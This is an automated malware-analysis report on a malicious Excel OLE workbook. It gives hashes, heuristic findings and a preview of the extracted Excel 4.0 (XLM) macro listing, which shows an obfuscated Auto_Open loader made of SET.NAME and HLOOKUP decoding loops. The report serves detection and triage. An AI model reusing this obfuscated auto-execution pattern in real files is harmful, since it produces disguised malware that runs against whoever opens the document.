Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9d445a0a361ee88…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:40:42 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: ee3a60a3290732ba28176de96113cc8c SHA-1: d0e5a9e76c31329d2c8a929d94332e4ab2863f33 SHA-256: b9d445a0a361ee88440622bdfb3278d8e8a61f86de605c61fea852720ab82c19
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6900 bytes
SHA-256: a6fd52eac3880f31f2f92d2fa379745b716c7db0668f6aedfc9ada704cc5eb36
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yMSBsDkpdI
' 0018     25 LABEL : Cell Value, String Constant - ASkgOBjAkm len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H178 
' 0018     27 LABEL : Cell Value, String Constant - CWCUzlHfuLXV len=0 
' 0018     26 LABEL : Cell Value, String Constant - EPLRTShOORn len=0 
' 0018     27 LABEL : Cell Value, String Constant - gSFxLjfxYbZq len=0 
' 0018     25 LABEL : Cell Value, String Constant - jIohgJTLfZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - JScKT len=0 
' 0018     20 LABEL : Cell Value, String Constant - KbmiF len=0 
' 0018     22 LABEL : Cell Value, String Constant - mdvcwPi len=0 
' 0018     20 LABEL : Cell Value, String Constant - nCaSJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - pyWcqM len=0 
' 0018     25 LABEL : Cell Value, String Constant - QuzSlWCubs len=0 
' 0018     27 LABEL : Cell Value, String Constant - rvAZVMnlCAhp len=0 
' 0018     23 LABEL : Cell Value, String Constant - shvsMJYl len=0 
' 0018     21 LABEL : Cell Value, String Constant - SxGynN len=0 
' 0018     20 LABEL : Cell Value, String Constant - VDFgV len=0 
' 0018     23 LABEL : Cell Value, String Constant - VqWjIlvj len=0 
' 0018     24 LABEL : Cell Value, String Constant - VxGSLHOGs len=0 
' 0018     26 LABEL : Cell Value, String Constant - ykjmxkoXaur len=0 
' 0018     27 LABEL : Cell Value, String Constant - YSFDSmIRPcJU len=0 
' 0018     22 LABEL : Cell Value, String Constant - zaUKnRg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yMSBsDkpdI,P68,"",-395.00000000000000000000
'  yMSBsDkpdI,P69,"",-882.00000000000000000000
'  yMSBsDkpdI,P70,"",325.00000000000000000000
'  yMSBsDkpdI,P71,"",5.00000000000000000000
'  yMSBsDkpdI,P72,"",110.00000000000000000000
'  yMSBsDkpdI,P73,"",-693.00000000000000000000
'  yMSBsDkpdI,H84,"SET.NAME("gSFxLjfxYbZq",0+VALUE("0"))",""
'  yMSBsDkpdI,H87,"SET.NAME("SxGynN",gSFxLjfxYbZq)",""
'  yMSBsDkpdI,H90,"SET.NAME("QuzSlWCubs",gSFxLjfxYbZq)",""
'  yMSBsDkpdI,H93,"SET.NAME("pyWcqM",COUNTA(ASkgOBjAkm))",""
'  yMSBsDkpdI,H96,"SET.NAME("shvsMJYl",COUNTA(mdvcwPi))",""
'  yMSBsDkpdI,H100,[],""
'  yMSBsDkpdI,H102,"SET.NAME("ykjmxkoXaur","")",""
'  yMSBsDkpdI,H107,"SxGynN",""
'  yMSBsDkpdI,H111,"SET.NAME("JScKT",HLOOKUP("*",ASkgOBjAkm,SxGynN,FALSE))",""
'  yMSBsDkpdI,H116,"VDFgV",""
'  yMSBsDkpdI,H121,"SET.NAME("KbmiF",gSFxLjfxYbZq)",""
'  yMSBsDkpdI,H126,[],""
'  yMSBsDkpdI,H129,"KbmiF",""
'  yMSBsDkpdI,H133,"nCaSJ",""
'  yMSBsDkpdI,H138,"CWCUzlHfuLXV",""
'  yMSBsDkpdI,H143,"VqWjIlvj",""
'  yMSBsDkpdI,H145,"SET.NAME("jIohgJTLfZ",VALUE(HLOOKUP("*",mdvcwPi,VqWjIlvj,FALSE)))",""
'  yMSBsDkpdI,H147,"rvAZVMnlCAhp",""
'  yMSBsDkpdI,H149,"ykjmxkoXaur",""
'  yMSBsDkpdI,H152,"QuzSlWCubs",""
'  yMSBsDkpdI,H154,NEXT(),""
'  yMSBsDkpdI,H158,"EPLRTShOORn",""
'  yMSBsDkpdI,H160,[],""
'  yMSBsDkpdI,H165,"zaUKnRg",""
'  yMSBsDkpdI,H170,NEXT(),""
'  yMSBsDkpdI,H174,RETURN(),""
'  yMSBsDkpdI,H206,"SET.NAME("YSFDSmIRPcJU",H84)",""
'  yMSBsDkpdI,H208,"ASkgOBjAkm",""
'  yMSBsDkpdI,H210,"SET.NAME("mdvcwPi",R84C11)",""
'  yMSBsDkpdI,H214,"SET.NAME("zaUKnRg",222)",""
'  yMSBsDkpdI,H216,"SET.NAME("VxGSLHOGs",8)",""
'  yMSBsDkpdI,H221,YSFDSmIRPcJU(),""
'  yMSBsDkpdI,H222,HALT(),""

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